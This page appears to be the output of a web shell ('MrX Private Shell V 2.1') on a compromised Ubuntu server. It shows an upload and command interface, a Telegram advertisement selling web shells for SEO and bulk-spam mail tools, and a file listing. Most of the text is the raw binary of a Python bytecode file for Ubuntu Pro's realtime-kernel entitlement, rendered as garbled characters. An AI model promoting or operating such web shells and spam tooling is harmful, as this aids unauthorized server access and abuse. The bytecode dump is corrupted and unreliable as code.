__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��gn��z�SSKrSSKJrJrJrJrJr SSKJrJ	r	J
r
JrJr SSK
Jr SSKJrJr SSKJrJrJr \	R,"5r\R0"\R2"\55rSS0r"S	S
\R:5r"SS\5r"S
S\5r "SS\5r!"SS\5r""SS\5r#g)�N)�Any�Dict�Optional�Tuple�Type)�apt�event_logger�messages�system�util)�repo)�EntitlementWithMessage�
UAEntitlement)�MessagingOperations�MessagingOperationsDict�StaticAffordance�GenuineIntel�intelc�B�\rSrSrSr\Rr\Rr	\Rr\RRrSrSrSrSrSrS\4SjrS\\\\44S	jr\S
5r\S\\S44Sj5r\S\\ S44S
j5r!\S\"4Sj5r#SSjr$Sr%g)�RealtimeKernelEntitlement�zrealtime-kernelzubuntu-pro-realtime-kernel.gpgTF�UbuntuRealtimeKernel�returnc��[R"[UR5[S/5S9n[RU5 U$)z%Check if system needs to be rebooted.zlinux-.*-realtime)�installed_pkgs�installed_pkgs_regex)r�
should_reboot�set�packages�event�needs_reboot)�self�reboot_requireds  �@/usr/lib/python3/dist-packages/uaclient/entitlements/realtime.py�_check_for_reboot�+RealtimeKernelEntitlement._check_for_reboots@�� �.�.��t�}�}�-�!$�&9�%:�!;�
��	���?�+���c��[R[[R[[R[[R[0$�N)�GenericRealtime�variant_name�NvidiaTegraRealtime�RaspberryPiRealtime�IntelIotgRealtime�r"s r$�
_get_variants�'RealtimeKernelEntitlement._get_variants(s;���(�(�/��,�,�.A��,�,�.A��*�*�,=�	
�	
r'c�2�UR(ag[$r))�access_onlyr*r/s r$�default_variant�)RealtimeKernelEntitlement.default_variant0s�������r'.c��SSKJnJn SSKJn [U[R5[U[R5[U[R54$)Nr)�FIPSEntitlement�FIPSUpdatesEntitlement)�LivepatchEntitlement)
�uaclient.entitlements.fipsr7r8�uaclient.entitlements.livepatchr9rr
�REALTIME_FIPS_INCOMPATIBLE�"REALTIME_FIPS_UPDATES_INCOMPATIBLE�REALTIME_LIVEPATCH_INCOMPATIBLE)r"r7r8r9s    r$�incompatible_services�/RealtimeKernelEntitlement.incompatible_services6sW��	
�	I�
#���!D�!D�
�
#�&��;�;�
�
#�$�h�&N�&N�
�
�	
r'c�,�[RSS44$)Nc�,�[R"5$r))r�is_container�r'r$�<lambda>�>RealtimeKernelEntitlement.static_affordances.<locals>.<lambda>Ps
���+�+�-r'F)r
�#REALTIME_ERROR_INSTALL_ON_CONTAINERr/s r$�static_affordances�,RealtimeKernelEntitlement.static_affordancesKs"���<�<�-��
�
�	
r'c���SnUR(d$[R[RSS.4/nSnUR
(d#[RS[R04/nUUS.$)NT)�msg�defaultrK)�
pre_enable�pre_disable)r3r�prompt_for_confirmationr
�REALTIME_PROMPT�purge�REALTIME_PRE_DISABLE_PROMPT)r"rMrNs   r$�	messaging�#RealtimeKernelEntitlement.messagingUs����
�����0�0�'�7�7�#'����J����z�z��0�0��x�C�C����K�%�&�
�	
r'Nc��[UR5R[[R"555nU(aF[R
"[
U5[RRURS95 gg)N)�title)rr�intersectionr�get_installed_packages_names�remove_packages�listr
�DISABLE_FAILED_TMPL�formatrV)r"rs  r$rY�)RealtimeKernelEntitlement.remove_packagesusf���t�}�}�%�2�2���0�0�2�3�
�������X���,�,�3�3�$�*�*�3�E�
�r'rD)rN)&�__name__�
__module__�__qualname__�__firstlineno__�namer
�REALTIME_TITLErV�REALTIME_DESCRIPTION�description�REALTIME_HELP_TEXT�	help_text�urls�REALTIME_HOME_PAGE�help_doc_url�
repo_key_file�apt_noninteractive�supports_access_only�supports_purge�origin�boolr%r�strrrr0�propertyr4rrr?rrHrrSrY�__static_attributes__rDr'r$rrs����D��#�#�E��/�/�K��+�+�I��=�=�3�3�L�4�M������N�
#�F��4��
�t�C��m�)<�$<�=�
�����
�
�u�-C�S�-H�'I�
��
�(�
�E�*:�C�*?�$@�
��
��
�	 �
��
�>r'rc�D^�\rSrSr\S\\S44U4Sjj5rSrU=r	$)�RealtimeVariant�r.c�>�[URR5VVs/sHAup[U[R
R
URURS95PMC snn5n[TU]$U-$s snnf)N)�service�variant)
�tuple�other_variants�itemsrr
�REALTIME_VARIANT_INCOMPATIBLEr\rV�superr?)r"rb�cls�incompatible_variants�	__class__s    �r$r?�%RealtimeVariant.incompatible_services�s���� %�"&�!4�!4�!:�!:�!<�
�"=�I�D�
'���:�:�A�A� $�
�
�C�I�I�B���"=�
�
!
���w�,�/D�D�D��
s�AB
rD)
r^r_r`rarrrrr?rs�
__classcell__�r�s@r$ruru�s*���
�E�u�-C�S�-H�'I�E��Er'ruc�v^�\rSrSrSr\Rr\Rr	Sr
Sr\S\
4U4Sjj5rSrU=r$)r*��genericTrc�b>�[TU]n[R"5RnUS:wa~URS5=(d /n[RRURURSU=(d SS9nUR[RSU045 X1S'U$)Nr�rM�unknown)ryrx�base_flavor�current_flavorrK)r~rSr�get_kernel_info�flavor�getr
�#KERNEL_FLAVOR_CHANGE_WARNING_PROMPTr\r+rb�appendrrO)r"rSr�rMrKr�s     �r$rS�GenericRealtime.messaging�s�����G�%�	��/�/�1�8�8���Y�&�"���|�4�:��J��>�>�E�E��)�)��	�	�%�-�:��	F��C�
����0�0��C�L��
�'1�l�#��r'rD)r^r_r`rar+r
�REALTIME_GENERIC_TITLErV�REALTIME_GENERIC_DESCRIPTIONre�
is_variant�check_packages_are_installedrrrrSrsr�r�s@r$r*r*�sC����L��+�+�E��7�7�K��J�#'� �
��	 ���r'r*c�P�\rSrSrSr\Rr\Rr	Sr
SrSrg)r,�znvidia-tegraTrDN)
r^r_r`rar+r
�REALTIME_NVIDIA_TITLErV�REALTIME_NVIDIA_DESCRIPTIONrer�r�rsrDr'r$r,r,�s(��!�L��*�*�E��6�6�K��J�#'� r'r,c�^�\rSrSrSr\Rr\Rr	Sr
SrS\4Sjr
Srg)r-��raspiTrc���Sn[R"U5R5R5nSU;=(d SU;$![a n[
R
SU5 SnAgSnAff=f)Nz/proc/device-tree/modelzraspberry pi 4zraspberry pi 5z)Error while detecting if raspberry pi: %rF)r�	load_file�strip�lower�	Exception�LOG�info)r"�proc_file_path�model�es    r$�variant_auto_select�'RaspberryPiRealtime.variant_auto_select�sf��2��	��$�$�^�4�:�:�<�B�B�D�E�#�u�,�I�0@�E�0I�I���	��H�H�@�!�D���	�s�AA�
A1�A,�,A1rDN)r^r_r`rar+r
�REALTIME_RASPI_TITLErV�REALTIME_RASPI_DESCRIPTIONrer�r�rpr�rsrDr'r$r-r-�s4���L��)�)�E��5�5�K��J�#'� ��T�r'r-c��\rSrSrSr\Rr\Rr	Sr
SrS\\
\4S\\\\R$44SjrSrg)	r.��z
intel-iotgT�platform_checksrc� �[R"5R=(d Sn[R	X"5nUR	S/5nX#;agS[
RRURUSRU5S94$)N��cpu_vendor_ids)TNF�,)rV�vendor�supported_vendors)
r�get_cpu_info�cpuinfo_vendor_id�CPU_VENDOR_MAPr�r
�INAPPLICABLE_VENDOR_NAMEr\rV�join)r"r��	vendor_idr�s    r$�verify_platform_checks�(IntelIotgRealtime.verify_platform_checks�s����'�'�)�;�;�A�r�	�"�&�&�y�<�	�(�,�,�-=�r�B���&���(�;�;�B�B��j�j� �"%�(�(�>�":�C���
r'rDN)r^r_r`rar+r
�REALTIME_INTEL_TITLErV�REALTIME_INTEL_DESCRIPTIONrer�r�rrqrrrpr�NamedMessager�rsrDr'r$r.r.�sZ���L��)�)�E��5�5�K��J�#'� �
�#�C��H�~�
�	�t�X�h�3�3�4�4�	5�
r'r.)$�logging�typingrrrrr�uaclientrr	r
rr�uaclient.entitlementsr
�uaclient.entitlements.baserr�uaclient.typesrrr�get_event_loggerr �	getLogger�replace_top_level_logger_namer^r�r��RepoEntitlementrrur*r,r-r.rDr'r$�<module>r�s����3�3�>�>�&�L���	�%�%�'��
����:�:�8�D�E�� �'�*��j�� 4� 4�j�ZE�/�E�"�o��>(�/�(��/��"��r'

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 10.54 KB 0644
anbox.cpython-313.pyc File 4.5 KB 0644
base.cpython-313.pyc File 52.53 KB 0644
cc.cpython-313.pyc File 1.67 KB 0644
cis.cpython-313.pyc File 2.21 KB 0644
entitlement_status.cpython-313.pyc File 5.94 KB 0644
esm.cpython-313.pyc File 6.54 KB 0644
fips.cpython-313.pyc File 27.2 KB 0644
landscape.cpython-313.pyc File 6.84 KB 0644
livepatch.cpython-313.pyc File 17.61 KB 0644
realtime.cpython-313.pyc File 10.54 KB 0644
repo.cpython-313.pyc File 30.89 KB 0644
ros.cpython-313.pyc File 2.93 KB 0644
Filemanager